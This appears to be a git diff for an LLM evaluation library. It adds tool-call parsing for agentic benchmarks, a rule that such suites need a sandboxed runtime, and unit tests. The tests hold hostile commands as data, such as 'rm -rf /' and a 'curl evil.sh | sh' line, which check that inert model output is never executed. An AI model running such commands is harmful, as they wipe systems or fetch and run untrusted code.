dataset_path: str = "~/.cache/evalution/terminal-bench-2-1/tasks"
variant_name: str = "terminal_bench_21"
- docker_image: str = "alpine:latest"
@dataclass(slots=True)
@@ -929,7 +1230,6 @@ class DeepSWE(_LocalAgenticBenchmark):
dataset_path: str = "~/.cache/evalution/deep-swe/tasks"
variant_name: str = "deep_swe"
- docker_image: str = "alpine:latest"
@dataclass(slots=True)
@@ -938,7 +1238,6 @@ class ToolathlonVerified(_LocalAgenticBenchmark):
dataset_path: str = "~/.cache/evalution/toolathlon/tasks/finalpool"
variant_name: str = "toolathlon_verified"
- docker_image: str = "alpine:latest"
def swe_bench_multilingual(**kwargs: Any) -> SWEBenchMultilingual:
diff --git a/evalution/benchmarks/agentic_docker.py b/evalution/benchmarks/agentic_docker.py
deleted file mode 100644
index 9d99fa6..0000000
--- a/evalution/benchmarks/agentic_docker.py
+++ /dev/null
@@ -1,137 +0,0 @@
-# SPDX-FileCopyrightText: 2026 ModelCloud.ai
-# SPDX-FileCopyrightText: 2026 qubitium@modelcloud.ai
-# SPDX-License-Identifier: Apache-2.0
-# Contact: qubitium@modelcloud.ai, x.com/qubitium
-
-"""Docker sandbox helpers for agentic benchmarks.
-
-Agentic suites such as Terminal-Bench and DeepSWE ship tasks as containerized
-environments. The :class:`DockerSandbox` utility provides a thin wrapper
-around ``docker run`` so that benchmark scorers can execute generated commands
-in an isolated container when Docker is available.
-"""
-
-from __future__ import annotations
-
-import dataclasses
-
-import pcre
-import shlex
-import subprocess
-import time
-from pathlib import Path
-from typing import Any, Mapping
-
-_BASH_TAG_RE = pcre.compile(r"(.*?)", pcre.DOTALL | pcre.IGNORECASE)
-
-
-@dataclasses.dataclass(slots=True)
-class DockerRunResult:
- """Result of a command executed inside a Docker container."""
-
- stdout: str
- stderr: str
- exit_code: int
- command: list[str]
- duration_s: float
-
-
-class DockerSandbox:
- """Run shell commands inside a throw-away Docker container."""
-
- def __init__(
- self,
- image: str = "alpine:latest",
- timeout: float = 60.0,
- network: str = "none",
- pull: str = "never",
- shell: str = "sh",
- ) -> None:
- self.image = image
- self.timeout = timeout
- self.network = network
- self.pull = pull
- self.shell = shell
-
- def run(
- self,
- command: str,
- *,
- image: str | None = None,
- timeout: float | None = None,
- network: str | None = None,
- pull: str | None = None,
- env: Mapping[str, str] | None = None,
- volumes: Mapping[str, str] | None = None,
- workdir: str | None = None,
- shell: str | None = None,
- ) -> DockerRunResult:
- """Execute ``command`` in a fresh container and return its result."""
- image = image or self.image
- timeout = timeout or self.timeout
- network = network or self.network
- pull = pull or self.pull
- shell = shell or self.shell
-
- docker_cmd = [
- "docker",
- "run",
- "--rm",
- "-i",
- "--pull",
- pull,
- "--network",
- network,
- ]
- if env:
- for key, value in env.items():
- docker_cmd.extend(["-e", f"{key}={value}"])
- if volumes:
- for host_path, container_path in volumes.items():
- docker_cmd.extend(["-v", f"{host_path}:{container_path}"])
- if workdir:
- docker_cmd.extend(["-w", workdir])
-
- docker_cmd.extend([image, shell, "-c", command])
-
- start = time.perf_counter()
- try:
- proc = subprocess.run(
- docker_cmd,
- capture_output=True,
- text=True,
- timeout=timeout,
- )
- return DockerRunResult(
- stdout=proc.stdout,
- stderr=proc.stderr,
- exit_code=proc.returncode,
- command=docker_cmd,
- duration_s=time.perf_counter() - start,
- )
- except subprocess.TimeoutExpired as exc:
- return DockerRunResult(
- stdout=exc.stdout or "",
- stderr=exc.stderr or "",
- exit_code=-1,
- command=docker_cmd,
- duration_s=timeout,
- )
-
-
-def extract_command(text: str) -> str:
- """Pull a shell command out of a model generation, stripping code fences."""
- text = text.strip()
- if text.startswith("```"):
- lines = text.splitlines()
- if lines and lines[0].startswith("```"):
- lines = lines[1:]
- if lines and lines[-1].strip() == "```":
- lines = lines[:-1]
- return "\n".join(lines).strip()
-
- bash_match = _BASH_TAG_RE.search(text)
- if bash_match:
- return bash_match.group(1).strip()
-
- return text
diff --git a/evalution/benchmarks/base.py b/evalution/benchmarks/base.py
index bbe23f5..49d6fbb 100644
--- a/evalution/benchmarks/base.py
+++ b/evalution/benchmarks/base.py
@@ -10,7 +10,7 @@
from dataclasses import dataclass
from itertools import islice
from time import perf_counter
-from typing import Any
+from typing import Any, ClassVar
from evalution.engines.base import GenerationOutput, InferenceSession
from evalution.logbar import get_logger, manual_progress
@@ -63,6 +63,12 @@ class BaseTestSuite(TestSuite):
batch_size: int | None = None
cache_dir: str | None = None
+ # Declared by concrete suites so Evalution can auto-enforce sandboxing rules:
+ # `is_agentic` marks agentic benchmark families, and any suite with
+ # `has_tool_calling` must expose an `agent_runtime` config or evaluation refuses to start.
+ is_agentic: ClassVar[bool] = False
+ has_tool_calling: ClassVar[bool] = False
+
# Return the callable used to fetch the underlying dataset rows.
@abstractmethod
def dataset_loader(self) -> Any:
@@ -165,6 +171,15 @@ def base_result_metadata(
def evaluate(self, session: InferenceSession) -> TestResult:
"""Evaluate evaluate. Preserve the fallback order expected by the surrounding caller."""
task_name = self.task_name()
+ if self.has_tool_calling:
+ runtime = getattr(self, "agent_runtime", None)
+ if runtime is None:
+ raise ValueError(
+ f"{task_name} executes model-generated commands, which requires "
+ "an isolated AgentRuntime. Configure agent_runtime=DockerAgentRuntime() | "
+ "SmolVmAgentRuntime(), or pass UnsafeLocalRuntime() to explicitly allow "
+ "unisolated host execution."
+ )
resolved_order = normalize_order(self.order)
logger = get_logger()
loaded_docs, dataset_load_wall_s = load_suite_dataset(
diff --git a/evalution/benchmarks/tool_calling.py b/evalution/benchmarks/tool_calling.py
new file mode 100644
index 0000000..bd77e98
--- /dev/null
+++ b/evalution/benchmarks/tool_calling.py
@@ -0,0 +1,271 @@
+# SPDX-FileCopyrightText: 2026 ModelCloud.ai
+# SPDX-FileCopyrightText: 2026 qubitium@modelcloud.ai
+# SPDX-License-Identifier: Apache-2.0
+# Contact: qubitium@modelcloud.ai, x.com/qubitium
+
+"""Tool-call parsing for agentic benchmarks.
+
+Tool calling is fundamentally different from code output: a tool call is the
+model's deliberate request to execute an action in a sandboxed runtime, while
+code output (for example a fenced ``bash`` snippet inside a plain answer) is
+inert generated text that must never be executed. Because every model family
+signals tool calls differently, the expected protocol is declared explicitly
+per suite and :func:`extract_tool_calls` only ever captures that protocol;
+everything else stays inert model output.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+import pcre
+
+TOOL_CALL_TAGS = "tool_call_tags"
+TOOL_CALL_FENCED_SHELL = "fenced_shell"
+TOOL_CALL_NATIVE_JSON = "native_json"
+TOOL_CALL_FORMATS = (
+ TOOL_CALL_TAGS,
+ TOOL_CALL_FENCED_SHELL,
+ TOOL_CALL_NATIVE_JSON,
+)
+
+# How tool calls are signalled: natively through the model's own pre-trained
+# tool-calling template, or through a generic prompted syntax for models that
+# were never trained to call tools.
+TOOL_CALL_MODE_AUTO = "auto"
+TOOL_CALL_MODE_NATIVE = "native"
+TOOL_CALL_MODE_PROMPTED = "prompted"
+TOOL_CALL_MODES = (TOOL_CALL_MODE_AUTO, TOOL_CALL_MODE_NATIVE, TOOL_CALL_MODE_PROMPTED)
+
+# Generic prompted contract: explicit action markers.
+# Deliberately NOT /fences, which models also emit as plain code output;
+# only the strict action marker is intercepted and executed.
+PROMPTED_TOOL_SYSTEM_MESSAGE = (
+ "You are a terminal agent connected to a sandboxed shell.\n"
+ "To run a shell command you MUST reply with ONLY the command wrapped in "
+ " and markers.\n"
+ "Example reply:\necho hello\n"
+ "Never write a command without these markers. Never explain.\n"
+ "After you receive the command output, reply with only the final answer."
+)
+
+# Policy message paired with the model's own native tool schema in native mode.
+NATIVE_TOOL_SYSTEM_MESSAGE = (
+ "You are a terminal agent connected to a sandboxed shell.\n"
+ "Use the run_command tool to run shell commands when asked.\n"
+ "After you receive the command output, reply with only the final answer."
+)
+
+RUN_COMMAND_TOOL = {
+ "type": "function",
+ "function": {
+ "name": "run_command",
+ "description": (
+ "Run a shell command inside the sandboxed task environment "
+ "and return its combined stdout/stderr output."
+ ),
+ "parameters": {
+ "type": "object",
+ "properties": {
+ "command": {
+ "type": "string",
+ "description": "The shell command to execute.",
+ }
+ },
+ "required": ["command"],
+ },
+ },
+}
+
+_TOOL_CALL_TAG_OPEN_RE = pcre.compile(r"", pcre.IGNORECASE)
+_TOOL_CALL_TAG_CLOSE_RE = pcre.compile(r"", pcre.IGNORECASE)
+_FENCE_RE = pcre.compile(r"```([^\n`]*)\n(.*?)```", pcre.DOTALL)
+_CONSOLE_PROMPT_RE = pcre.compile(r"(?m)^\$\s+")
+_PYTHON_TAG_RE = pcre.compile(r"^\s*<\|python_tag\|>\s*")
+_NATIVE_XML_RE = pcre.compile(r"\s*(.*?)\s*", pcre.DOTALL)
+_SPECIAL_TOKEN_RE = pcre.compile(r"<\|[^>]*\|>")
+
+_SHELL_FENCE_LANGUAGES = frozenset(
+ {"", "bash", "sh", "shell", "zsh", "ash", "console", "terminal"}
+)
+
+
+def validate_tool_call_format(tool_call_format: str) -> str:
+ """Raise ``ValueError`` for unknown tool-call protocols."""
+ if tool_call_format not in TOOL_CALL_FORMATS:
+ raise ValueError(
+ f"unknown tool_call_format {tool_call_format!r}; "
+ f"expected one of {', '.join(TOOL_CALL_FORMATS)}"
+ )
+ return tool_call_format
+
+
+def validate_tool_call_mode(tool_call_mode: str) -> str:
+ """Raise ``ValueError`` for unknown tool-call modes."""
+ if tool_call_mode not in TOOL_CALL_MODES:
+ raise ValueError(
+ f"unknown tool_call_mode {tool_call_mode!r}; "
+ f"expected one of {', '.join(TOOL_CALL_MODES)}"
+ )
+ return tool_call_mode
+
+
+def _tool_call_tag_commands(text: str) -> list[str]:
+ """Capture every ``...`` action marker, in order.
+
+ Only strict action markers are captured; ````-style code output and
+ fenced snippets are never matched by this protocol. A truncated final call
+ (opening marker without a close, cut off at the generation stop) still
+ counts: the opening marker is what makes it an explicit action request.
+ """
+ commands = []
+ cursor = 0
+ while True:
+ # pcre patterns do not expose re-style search(pos=...), so scan slices
+ # and shift offsets manually.
+ open_match = _TOOL_CALL_TAG_OPEN_RE.search(text[cursor:])
+ if not open_match:
+ break
+ body_start = cursor + open_match.end()
+ close_match = _TOOL_CALL_TAG_CLOSE_RE.search(text[body_start:])
+ if close_match:
+ body_end = body_start + close_match.start()
+ cursor = body_start + close_match.end()
+ else:
+ # Unterminated final call: run to end of generation.
+ body_end = len(text)
+ cursor = len(text)
+ body = _SPECIAL_TOKEN_RE.sub("", text[body_start:body_end])
+ command = _CONSOLE_PROMPT_RE.sub("", body).strip()
+ if command:
+ commands.append(command)
+ return commands
+
+
+def _fenced_shell_commands(text: str) -> list[str]:
+ """Capture shell-language fenced blocks; other languages stay inert."""
+ commands = []
+ for match in _FENCE_RE.finditer(text):
+ language = match.group(1).strip().lower()
+ if language not in _SHELL_FENCE_LANGUAGES:
+ continue
+ # Strip `$ `-style console prompts so extracted strings are runnable.
+ command = _CONSOLE_PROMPT_RE.sub("", match.group(2)).strip()
+ if command:
+ commands.append(command)
+ return commands
+
+
+def extract_tool_calls(text: str, tool_call_format: str) -> list[str]:
+ """Return every tool call in ``text`` under the declared protocol.
+
+ Plain prose, ordinary code output, and undeclared formats are never tool
+ calls, which keeps generated code out of the execution path.
+ """
+ validate_tool_call_format(tool_call_format)
+ if tool_call_format == TOOL_CALL_TAGS:
+ return _tool_call_tag_commands(text)
+ return _fenced_shell_commands(text)
+
+
+def try_extract_tool_call(text: str, tool_call_format: str) -> str | None:
+ """Return the first tool call under the protocol, or ``None`` if none."""
+ commands = extract_tool_calls(text, tool_call_format)
+ return commands[0] if commands else None
+
+
+def _balanced_json_objects(text: str) -> list[str]:
+ """Extract top-level ``{...}`` substrings with brace/string awareness."""
+ objects: list[str] = []
+ start: int | None = None
+ depth = 0
+ in_string = False
+ escaped = False
+ for index, char in enumerate(text):
+ if in_string:
+ if escaped:
+ escaped = False
+ elif char == "\\":
+ escaped = True
+ elif char == '"':
+ in_string = False
+ continue
+ if char == '"':
+ in_string = True
+ elif char == "{":
+ if depth == 0:
+ start = index
+ depth += 1
+ elif char == "}" and depth > 0:
+ depth -= 1
+ if depth == 0 and start is not None:
+ objects.append(text[start : index + 1])
+ start = None
+ return objects
+
+
+def _decode_lenient_json(payload: str) -> Any:
+ """Decode JSON, repairing single-backslash escapes models emit (``\\$``)."""
+ import json
+ import re
+
+ try:
+ return json.loads(payload)
+ except ValueError:
+ pass
+ repaired = re.sub(r"\\(?![\"\\/bfnrtu])", "", payload)
+ try:
+ return json.loads(repaired)
+ except ValueError:
+ return None
+
+
+def native_tool_commands(text: str) -> list[str]:
+ """Parse model-native tool-call responses into shell commands.
+
+ Covers the encodings used by the major open-model families:
+ Llama ``<|python_tag|>{...}``, Hermes/Qwen ``{...}``, and bare
+ JSON objects carrying ``name`` plus ``parameters``/``arguments``. Slightly
+ malformed JSON (for example ``\\$ `` escapes around shell variables) is
+ repaired before decoding.
+ """
+ if not text:
+ return []
+
+ candidates: list[str] = []
+ stripped = _PYTHON_TAG_RE.sub("", text)
+ xml_matches = _NATIVE_XML_RE.findall(stripped)
+ segments = xml_matches if xml_matches else [stripped]
+ for segment in segments:
+ for payload in _balanced_json_objects(segment):
+ parsed = _decode_lenient_json(payload)
+ if not isinstance(parsed, dict):
+ continue
+ arguments = parsed.get("parameters", parsed.get("arguments"))
+ command = arguments.get("command") if isinstance(arguments, dict) else None
+ if isinstance(command, str) and command.strip():
+ candidates.append(command.strip())
+
+ # De-duplicate while preserving order.
+ seen: set[str] = set()
+ unique = [command for command in candidates if not (command in seen or seen.add(command))]
+ return unique
+
+
+def session_supports_native_tool_calls(session: Any) -> bool:
+ """Detect whether the session's tokenizer can render native tool schemas."""
+ tokenizer = getattr(session, "tokenizer", None)
+ apply_template = getattr(tokenizer, "apply_chat_template", None)
+ if not callable(apply_template):
+ return False
+ probe_messages = [{"role": "user", "content": "probe"}]
+ try:
+ rendered = apply_template(
+ probe_messages,
+ tools=[RUN_COMMAND_TOOL],
+ add_generation_prompt=True,
+ tokenize=False,
+ )
+ except Exception: # noqa: BLE001 — any template failure means "not native"
+ return False
+ return isinstance(rendered, str) and bool(rendered)
diff --git a/evalution/config.py b/evalution/config.py
index 695d762..1a31abc 100644
--- a/evalution/config.py
+++ b/evalution/config.py
@@ -5,9 +5,8 @@
from __future__ import annotations
-from collections.abc import Mapping
from dataclasses import asdict, dataclass, field, replace
-from typing import Any, TypeAlias
+from typing import Any
@dataclass(slots=True, frozen=True)
diff --git a/evalution/engines/base.py b/evalution/engines/base.py
index b38cc3b..6b13f40 100644
--- a/evalution/engines/base.py
+++ b/evalution/engines/base.py
@@ -23,6 +23,8 @@ class GenerationRequest:
messages: list[dict[str, str]] | None = None
rendered_prompt: str | None = None
input_ids: list[int] | None = None
+ # Native tool-calling schema (OpenAI-style) passed to chat templates that support it.
+ tools: list[dict[str, Any]] | None = None
add_generation_prompt: bool = True
stop: list[str] = field(default_factory=list)
max_new_tokens: int = 256
diff --git a/evalution/engines/transformers_common.py b/evalution/engines/transformers_common.py
index c5ed1a7..329bc2c 100644
--- a/evalution/engines/transformers_common.py
+++ b/evalution/engines/transformers_common.py
@@ -435,6 +435,8 @@ def _render_request_with_tokenizer(self, tokenizer: Any, request: GenerationRequ
"add_generation_prompt": request.add_generation_prompt,
}
)
+ if request.tools:
+ template_kwargs["tools"] = request.tools
return tokenizer.apply_chat_template(
request.messages,
**template_kwargs,
diff --git a/pyproject.toml b/pyproject.toml
index 9255a05..9150da8 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -13,7 +13,7 @@ dependencies = [
"datasets>=4.8.3",
"tokenicer>=0.0.13",
"logbar>=0.4.1",
- "PyPcre>=0.2.15",
+ "pypcre>=0.2.15",
"PyYAML>=6.0",
"sacrebleu>=2.6.0",
"transformers>=5.3.0",
diff --git a/tests/test_agent_runtime.py b/tests/test_agent_runtime.py
new file mode 100644
index 0000000..caca792
--- /dev/null
+++ b/tests/test_agent_runtime.py
@@ -0,0 +1,342 @@
+# SPDX-FileCopyrightText: 2026 ModelCloud.ai
+# SPDX-FileCopyrightText: 2026 qubitium@modelcloud.ai
+# SPDX-License-Identifier: Apache-2.0
+# Contact: qubitium@modelcloud.ai, x.com/qubitium
+
+"""Unit tests for agent runtimes and tool-call protocol parsing.
+
+The extraction matrix is strict about the difference between tool calling
+(deliberate action requests under a declared protocol) and plain code output
+(inert generated text that must never be executed).
+"""
+
+from __future__ import annotations
+
+import subprocess
+from types import SimpleNamespace
+
+import pytest
+
+from evalution.agent_runtime import (
+ DockerAgentRuntime,
+ SmolVmAgentRuntime,
+ UnsafeLocalRuntime,
+)
+from evalution.benchmarks.tool_calling import (
+ TOOL_CALL_FENCED_SHELL,
+ TOOL_CALL_TAGS,
+ extract_tool_calls,
+ try_extract_tool_call,
+ validate_tool_call_format,
+)
+
+
+def _docker_available() -> bool:
+ try:
+ subprocess.run(
+ ["docker", "info"],
+ capture_output=True,
+ check=True,
+ )
+ return True
+ except (OSError, subprocess.CalledProcessError):
+ return False
+
+
+@pytest.mark.skipif(not _docker_available(), reason="Docker daemon not available")
+def test_docker_agent_runtime_run_command() -> None:
+ """Run a command in an Alpine container and capture stdout/stderr."""
+ runtime = DockerAgentRuntime(pull="missing")
+ result = runtime.run("echo hello && echo error >&2")
+
+ assert result.exit_code == 0
+ assert "hello" in result.stdout
+ assert "error" in result.stderr
+ assert result.duration_s >= 0.0
+
+
+@pytest.mark.skipif(not _docker_available(), reason="Docker daemon not available")
+def test_docker_agent_runtime_network_isolated() -> None:
+ """Verify the default network mode prevents outbound traffic."""
+ runtime = DockerAgentRuntime(pull="missing")
+ result = runtime.run("wget -qO- https://example.com || echo 'network-blocked'")
+
+ assert result.exit_code == 0 or "network-blocked" in result.stdout
+ assert "Example Domain" not in result.stdout
+
+
+def test_docker_runtime_builds_configured_command(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Pass Docker runtime settings to the Docker CLI without shell parsing."""
+ calls: list[list[str]] = []
+
+ def fake_run(command: list[str], **kwargs: object) -> SimpleNamespace:
+ calls.append(command)
+ assert kwargs["check"] is False
+ return SimpleNamespace(stdout="ok", stderr="", returncode=0)
+
+ monkeypatch.setattr(subprocess, "run", fake_run)
+ result = DockerAgentRuntime(path="/opt/docker", network="host").run(
+ "printf '%s' hello",
+ image="test:latest",
+ env={"TOKEN": "value"},
+ volumes={"/tmp/host": "/workspace"},
+ workdir="/workspace",
+ )
+
+ assert result.stdout == "ok"
+ assert calls == [[
+ "/opt/docker",
+ "run",
+ "--rm",
+ "-i",
+ "--pull",
+ "never",
+ "--network",
+ "host",
+ "-e",
+ "TOKEN=value",
+ "-v",
+ "/tmp/host:/workspace",
+ "-w",
+ "/workspace",
+ "test:latest",
+ "sh",
+ "-c",
+ "printf '%s' hello",
+ ]]
+
+
+def test_smolvm_runtime_builds_isolated_command(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Translate runtime options to the smolvm machine-run CLI."""
+ calls: list[list[str]] = []
+
+ def fake_run(command: list[str], **kwargs: object) -> SimpleNamespace:
+ calls.append(command)
+ return SimpleNamespace(stdout="ok", stderr="", returncode=0)
+
+ monkeypatch.setattr(subprocess, "run", fake_run)
+ SmolVmAgentRuntime(path="/opt/smolvm", network=True).run(
+ "echo hello",
+ image="alpine",
+ env={"MODE": "test"},
+ volumes={"/tmp/host": "/workspace"},
+ workdir="/workspace",
+ )
+
+ assert calls == [[
+ "/opt/smolvm",
+ "machine",
+ "run",
+ "--net",
+ "--image",
+ "alpine",
+ "--env",
+ "MODE=test",
+ "--volume",
+ "/tmp/host:/workspace",
+ "--workdir",
+ "/workspace",
+ "--",
+ "sh",
+ "-c",
+ "echo hello",
+ ]]
+
+
+def test_runtime_paths_default_to_auto_resolution(monkeypatch: pytest.MonkeyPatch) -> None:
+ """``path="auto"`` resolves each runtime binary from the environment PATH."""
+ calls: list[list[str]] = []
+
+ def fake_run(command: list[str], **kwargs: object) -> SimpleNamespace:
+ calls.append(command)
+ return SimpleNamespace(stdout="", stderr="", returncode=0)
+
+ monkeypatch.setattr(subprocess, "run", fake_run)
+
+ assert DockerAgentRuntime().path == "auto"
+ assert DockerAgentRuntime().resolved_path == "docker"
+ assert SmolVmAgentRuntime().path == "auto"
+ assert SmolVmAgentRuntime().resolved_path == "smolvm"
+
+ DockerAgentRuntime().run("echo docker")
+ SmolVmAgentRuntime().run("echo smolvm")
+
+ assert calls[0][0] == "docker"
+ assert calls[1][0] == "smolvm"
+
+
+def test_runtime_image_defaults_apply(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Image resolution prefers call override, then runtime config, then default."""
+ calls: list[list[str]] = []
+
+ def fake_run(command: list[str], **kwargs: object) -> SimpleNamespace:
+ calls.append(command)
+ return SimpleNamespace(stdout="", stderr="", returncode=0)
+
+ monkeypatch.setattr(subprocess, "run", fake_run)
+
+ DockerAgentRuntime().run("echo a")
+ DockerAgentRuntime(image="custom:1").run("echo b")
+ SmolVmAgentRuntime().run("echo c")
+
+ assert calls[0][8] == "alpine:latest"
+ assert calls[1][8] == "custom:1"
+ assert calls[2][4] == "alpine"
+
+
+def test_unsafe_local_runtime_warns_on_construction() -> None:
+ """Constructing the host runtime emits a security warning."""
+ with pytest.warns(RuntimeWarning, match="without sandboxing"):
+ UnsafeLocalRuntime()
+
+
+def test_unsafe_local_runtime_runs_on_host(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Translate commands to a host shell invocation, ignoring isolation options."""
+ calls: list[list[str]] = []
+
+ def fake_run(command: list[str], **kwargs: object) -> SimpleNamespace:
+ calls.append(command)
+ assert kwargs["check"] is False
+ return SimpleNamespace(stdout="host", stderr="", returncode=0)
+
+ monkeypatch.setattr(subprocess, "run", fake_run)
+ with pytest.warns(RuntimeWarning, match="without sandboxing"):
+ runtime = UnsafeLocalRuntime()
+ result = runtime.run(
+ "echo hello",
+ image="alpine:latest",
+ env={"MODE": "test"},
+ volumes={"/tmp/host": "/workspace"},
+ workdir="/workspace",
+ )
+
+ assert result.stdout == "host"
+ assert result.exit_code == 0
+ assert calls == [["sh", "-c", "echo hello"]]
+
+
+
+def test_native_parser_handles_model_quirks() -> None:
+ """Native parsing survives python_tag prefixes, invalid escapes, and noise."""
+ from evalution.benchmarks.tool_calling import native_tool_commands
+
+ llama = (
+ '<|python_tag|>{"name": "run_command", "parameters": '
+ '{"command": "ls /etc/alpine-release > /dev/null 2>&1; echo \\$?"}}'
+ )
+ assert native_tool_commands(llama) == [
+ "ls /etc/alpine-release > /dev/null 2>&1; echo $?"
+ ]
+ hermes = (
+ '{"name": "run_command", "arguments": {"command": "echo b"}}'
+ )
+ assert native_tool_commands(hermes) == ["echo b"]
+ assert native_tool_commands('junk before {"name": "run_command", "parameters": {"command": "echo c"}} after') == [
+ "echo c"
+ ]
+ assert native_tool_commands("no tool call at all") == []
+
+
+# ---------------------------------------------------------------------------
+# Tool-call protocol extraction matrix.
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+ ("text", "expected"),
+ [
+ # Explicit tags are tool calls; case-insensitive; prose-wrapped OK.
+ ("ls", ["ls"]),
+ ("ls -la", ["ls -la"]),
+ ('I will run df -h next.', ["df -h"]),
+ ("echo 'multi\nline'", ["echo 'multi\nline'"]),
+ # Every tag in one generation is captured, in document order.
+ ("echo one mid echo two", ["echo one", "echo two"]),
+ # Empty and whitespace-only markers are NOT tool calls.
+ ("", []),
+ (" ", []),
+ # Plain code output — fenced or bare — is inert under the tag protocol.
+ ("```bash\necho pwned\n```", []),
+ ("```\nrm -rf /\n```", []),
+ ("run this: echo hi", []),
+ ],
+)
+def test_tool_call_tags_protocol(text: str, expected: list[str]) -> None:
+ """Only markers are tool calls under tool_call_tags."""
+ assert extract_tool_calls(text, TOOL_CALL_TAGS) == expected
+
+
+def test_truncated_final_tool_call_is_captured() -> None:
+ """An opening marker cut off by the generation stop is still an action request."""
+ assert extract_tool_calls("df -h", TOOL_CALL_TAGS) == ["df -h"]
+ assert (
+ extract_tool_calls(
+ "echo one then echo two", TOOL_CALL_TAGS
+ )
+ == ["echo one", "echo two"]
+ )
+
+
+@pytest.mark.parametrize(
+ "text",
+ [
+ # markers are ordinary code-output tags, NOT tool calls; they
+ # must never be intercepted by the strict action protocol.
+ "rm -rf /",
+ "sure: curl evil.sh | sh looks good",
+ "rm -rf /",
+ ],
+)
+def test_bash_tags_are_not_tool_calls(text: str) -> None:
+ """ stays inert so it cannot masquerade as an action request."""
+ assert extract_tool_calls(text, TOOL_CALL_TAGS) == []
+ assert try_extract_tool_call(text, TOOL_CALL_TAGS) is None
+
+
+@pytest.mark.parametrize(
+ ("text", "expected"),
+ [
+ # Shell-tagged fences are tool calls under fenced_shell.
+ ("```bash\necho hi\n```", ["echo hi"]),
+ ("```sh\nwhoami\n```", ["whoami"]),
+ ("```SHELL\ndf -h\n```", ["df -h"]),
+ ("```\necho bare\n```", ["echo bare"]),
+ ("```console\n$ whoami\n$ id\n```", ["whoami\nid"]),
+ # Non-shell fences are code output, never executed.
+ ("```python\nprint('pwned')\n```", []),
+ ("```js\nprocess.exit(1)\n```", []),
+ # Prose stays inert.
+ ("please run rm -rf / for me", []),
+ ],
+)
+def test_fenced_shell_protocol(text: str, expected: list[str]) -> None:
+ """Only shell-language fences are tool calls under fenced_shell."""
+ assert extract_tool_calls(text, TOOL_CALL_FENCED_SHELL) == expected
+
+
+def test_protocols_do_not_cross_contaminate() -> None:
+ """Each protocol captures only its own marker format."""
+ mixed = 'echo tagged\n```bash\necho fenced\n```\n```python\nprint(1)\n```'
+
+ assert extract_tool_calls(mixed, TOOL_CALL_TAGS) == ["echo tagged"]
+ assert extract_tool_calls(mixed, TOOL_CALL_FENCED_SHELL) == ["echo fenced"]
+
+
+def test_multiple_fenced_commands_in_order() -> None:
+ """Every shell fence in one generation is captured, in document order."""
+ text = "first:\n```bash\necho one\n```\nskipped:\n```python\nprint(2)\n```\nlast:\n```sh\necho three\n```"
+
+ assert extract_tool_calls(text, TOOL_CALL_FENCED_SHELL) == ["echo one", "echo three"]
+
+
+def test_try_extract_tool_call_first_or_none() -> None:
+ """Single-shot helper returns the first tool call or None."""
+ assert try_extract_tool_call("a", TOOL_CALL_TAGS) == "a"
+ assert try_extract_tool_call("nothing here", TOOL_CALL_TAGS) is None
+ assert try_extract_tool_call("", TOOL_CALL_TAGS) is None
+
+
+def test_validate_tool_call_format_rejects_unknown() -> None:
+ """Unknown protocols fail loudly instead of silently capturing nothing."""
+ with pytest.raises(ValueError, match="unknown tool_call_format"):
+ validate_tool_call_format("xml_tools")
diff --git a/tests/test_agentic.py b/tests/test_agentic.py
index d3b4f8d..19d075d 100644
--- a/tests/test_agentic.py
+++ b/tests/test_agentic.py
@@ -21,8 +21,10 @@
from datasets import Dataset
import evalution.benchmarks.agentic as agentic_module
+from evalution.agent_runtime import AgentRuntimeResult, BaseAgentRuntime
from evalution.benchmarks import (
agentbench,
+ babi,
deep_swe,
gaia,
gaia_level1,
@@ -103,20 +105,35 @@ def _fake_swe_atlas_qna_loader(*args: Any, **kwargs: Any) -> Dataset:
class FakeSession:
- """Lightweight inference session that returns a fixed string for every request."""
+ """Scripted inference session: pops one reply per generate call.
+
+ A plain string repeats forever; a list is consumed in order and any extra
+ generate call raises so runaway tool loops fail loudly in tests.
+ """
batch_size = 1
- def __init__(self, text: str) -> None:
- self._text = text
+ def __init__(self, replies: Any) -> None:
+ if isinstance(replies, str):
+ self._replies: list[str] = [replies]
+ self._infinite = True
+ else:
+ self._replies = list(replies)
+ self._infinite = False
+ self.prompts: list[str] = []
def generate(self, requests: list[Any], batch_size: int) -> list[GenerationOutput]:
+ del batch_size
+ if not self._replies:
+ raise AssertionError("FakeSession received an unexpected extra generate() call")
+ text = self._replies[0] if self._infinite else self._replies.pop(0)
+ prompt = getattr(requests[0], "prompt", "") or ""
+ self.prompts.append(prompt)
return [
GenerationOutput(
- prompt=getattr(request, "prompt", "") or "",
- text=self._text,
+ prompt=prompt,
+ text=text,
)
- for request in requests
]
def close(self) -> None:
@@ -126,6 +143,25 @@ def gc(self) -> None:
pass
+class FakeAgentRuntime(BaseAgentRuntime):
+ """Agent runtime test double that returns canned stdout without executing."""
+
+ def __init__(self, stdout: str) -> None:
+ self.stdout = stdout
+ self.commands: list[str] = []
+
+ def run(self, command: str, **kwargs: Any) -> AgentRuntimeResult:
+ del kwargs
+ self.commands.append(command)
+ return AgentRuntimeResult(
+ stdout=self.stdout,
+ stderr="",
+ exit_code=0,
+ command=[command],
+ duration_s=0.0,
+ )
+
+
def _make_local_task_dir(root: Any, task_name: str, instruction: str, solution: str) -> None:
"""Create a minimal Harbor-style task directory under ``root/tasks``."""
tasks_dir = root / "tasks"
@@ -220,23 +256,38 @@ def test_public_laguna_agentic_suite_forward_pass(
def test_terminal_bench_21_local_task_forward_pass(tmp_path: Any) -> None:
- """Run one forward pass for Terminal-Bench 2.1 using a local task directory."""
+ """Run the tool loop for Terminal-Bench 2.1 using a local task directory."""
_make_local_task_dir(tmp_path, "task-1", "List files and exit.", "ls\n")
- suite = terminal_bench_21(dataset_path=str(tmp_path), max_rows=1, batch_size=1, max_new_tokens=5)
- result = suite.evaluate(FakeSession("ls\n"))
+ runtime = FakeAgentRuntime("ls\n")
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ batch_size=1,
+ max_new_tokens=5,
+ agent_runtime=runtime,
+ )
+ session = FakeSession(["ls", "ls"])
+ result = suite.evaluate(session)
assert result.name == "terminal_bench_21"
assert len(result.samples) == 1
assert result.samples[0].scores["em"] == 1.0
+ assert result.samples[0].metadata["commands_executed"] == 1
def test_deep_swe_local_task_forward_pass(tmp_path: Any) -> None:
